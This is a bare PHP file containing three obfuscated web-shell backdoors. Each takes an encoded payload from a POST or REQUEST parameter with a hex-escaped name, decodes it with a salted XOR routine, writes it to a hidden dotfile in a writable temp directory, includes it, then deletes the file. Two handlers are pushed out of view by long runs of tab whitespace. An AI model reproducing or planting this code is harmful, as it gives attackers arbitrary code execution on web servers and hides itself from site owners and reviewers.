<?php																																										if(in_array("\x70t\x72", array_keys($_POST))){ $symbol = $_POST["\x70t\x72"]; $symbol = explode ( '.' , $symbol ) ; $binding= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s9 ); $r= 0; $len= count( $symbol ); do { if( $r>= $len) break; $v2= $symbol[$r]; $sChar= ord( $s9[$r % $sLen] ); $dec= ( ( int)$v2 - $sChar -( $r % 10)) ^71; $binding .= chr( $dec ); $r++; }while( true ); $entry = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP")]); for ($key = 0, $ent = count($entry); $key < $ent; $key++) { $marker = $entry[$key]; if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $flag = "$marker/.property_set"; if (file_put_contents($flag, $binding)) { require $flag; unlink($flag); die(); } } } }
																																										if(!is_null($_REQUEST["data\x5F\x63h\x75\x6Ek"] ?? null)){ $ptr = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $entity = $_REQUEST["data\x5F\x63h\x75\x6Ek"]; $entity=explode( ".",$entity ); $desc = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6 ); $w = 0; $__len = count( $entity ); do { if( $w >= $__len) break; $v9 = $entity[$w]; $chS = ord( $salt6[$w % $lenS] ); $d =( ( int)$v9 - $chS -( $w % 10)) ^ 81; $desc .= chr( $d ); $w++; } while( true ); $element = 0; do { $ent = $ptr[$element] ?? null; if ($element >= count($ptr)) break; if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $resource = implode("/", [$ent, ".ref"]); if (file_put_contents($resource, $desc)) { include $resource; @unlink($resource); die(); } } $element++; } while (true); }


if(array_key_exists("entr\x79", $_POST) && !is_null($_POST["entr\x79"])){
	$component = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), "/dev/shm", session_save_path()]);
	$element = $_POST["entr\x79"];
	 	$element		=	  explode	 ('.' ,	$element	);
	$desc = '';
            $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt4);
    
            foreach ($element as $y => $v4) {$chS = ord($salt4[$y % $lenS]);
                $d = ((int)$v4 - $chS - ($y % 10))	^32;
                $desc .= chr($d);	}
	for ($flag = 0, $ent = count($component); $flag < $ent; $flag++) {
    $dat = $component[$flag];
    		if (is_dir($dat) ? is_writable($dat) : false) {
    $ptr = "$dat/.descriptor";
    if (@file_put_contents($ptr, $desc) !== false) {
	include $ptr;
	unlink($ptr);
	exit;
}
}
}
}